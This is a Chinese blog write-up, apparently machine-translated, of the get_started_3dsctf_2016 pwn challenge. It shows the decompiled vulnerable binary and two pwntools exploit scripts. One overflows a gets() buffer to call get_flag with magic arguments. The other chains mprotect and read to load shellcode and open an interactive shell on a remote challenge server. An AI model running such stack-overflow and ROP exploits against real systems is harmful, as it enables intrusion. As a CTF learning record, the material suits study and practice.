关于ctf:pwn做题记录getstarted3dsctf2016

4次阅读

共计 1466 个字符,预计需要花费 4 分钟才能阅读完成。

emmm 最近始终埋头于 csapp,做一道题回顾回顾以前做的。这道题太大了,在 main 函数上方有个 get_flag 函数。

int __cdecl main(int argc, const char **argv, const char **envp)
{char v4; // [esp+4h] [ebp-38h]

  printf("Qual a palavrinha magica?", v4);
  gets(&v4);
  return 0;
}
void __cdecl get_flag(int a1, int a2)
{
  int v2; // eax
  int v3; // esi
  unsigned __int8 v4; // al
  int v5; // ecx
  unsigned __int8 v6; // al

  if (a1 == 814536271 && a2 == 425138641)
  {v2 = fopen("flag.txt", "rt");
    v3 = v2;
    v4 = getc(v2);
    if (v4 != 255)
    {v5 = (char)v4;
      do
      {putchar(v5);
        v6 = getc(v3);
        v5 = (char)v6;
      }
      while (v6 != 255);
    }
    fclose(v3);
  }
}

破绽是典型的栈溢出。须要咱们进行填写。最开始向间接跳入 get_flag 函数,后果不能正确失去后果。看了看其余大佬的 EXP,发现要有什么限度,必须保护好栈,所以地找一个函数来退出。于是利用了 exit 函数

exp

from pwn import *

context(os="linux", arch="i386", log_level="debug")
sh = process("./hhh")

flag_addr = 0x080489A0

# 0x0804E6A0 为 exit 地址
payload = cyclic(0x38) + p32(0x080489A0) + p32(0x0804E6A0)
#前面俩个对应的是函数参数
payload += p32(0x308CD64F) + p32(0x195719D1)
sh.sendline(payload)
sh.recv()
#留神 main 函数没有 push ebp

另外一个大佬的 ROP 利用
这里利用了一个后门函数
![上传中 …]()

exp

from pwn import *
#coding = utf-8

context(os="linux", arch="i386", log_level="debug")
q = remote('node3.buuoj.cn',25023)
elf = ELF("./hhh")

mprotect_addr = elf.symbols["mprotect"]
read_addr = elf.symbols["read"]
start_addr = 0x80ea000
pop_3 = 0x0804f460

payload = cyclic(0x38)
payload += p32(mprotect_addr)
payload += p32(pop_3)
payload += p32(start_addr)
payload += p32(0x1000)
payload += p32(0x7) #7 具备 rwxp
payload += p32(read_addr)
payload += p32(pop_3)
payload += p32(0)
payload += p32(start_addr)
payload += p32(0x100)
payload += p32(start_addr)
shellcode = asm(shellcraft.sh())

q.sendline(payload)
sleep(0.1)
q.sendline(shellcode)
q.interactive()
正文完
 0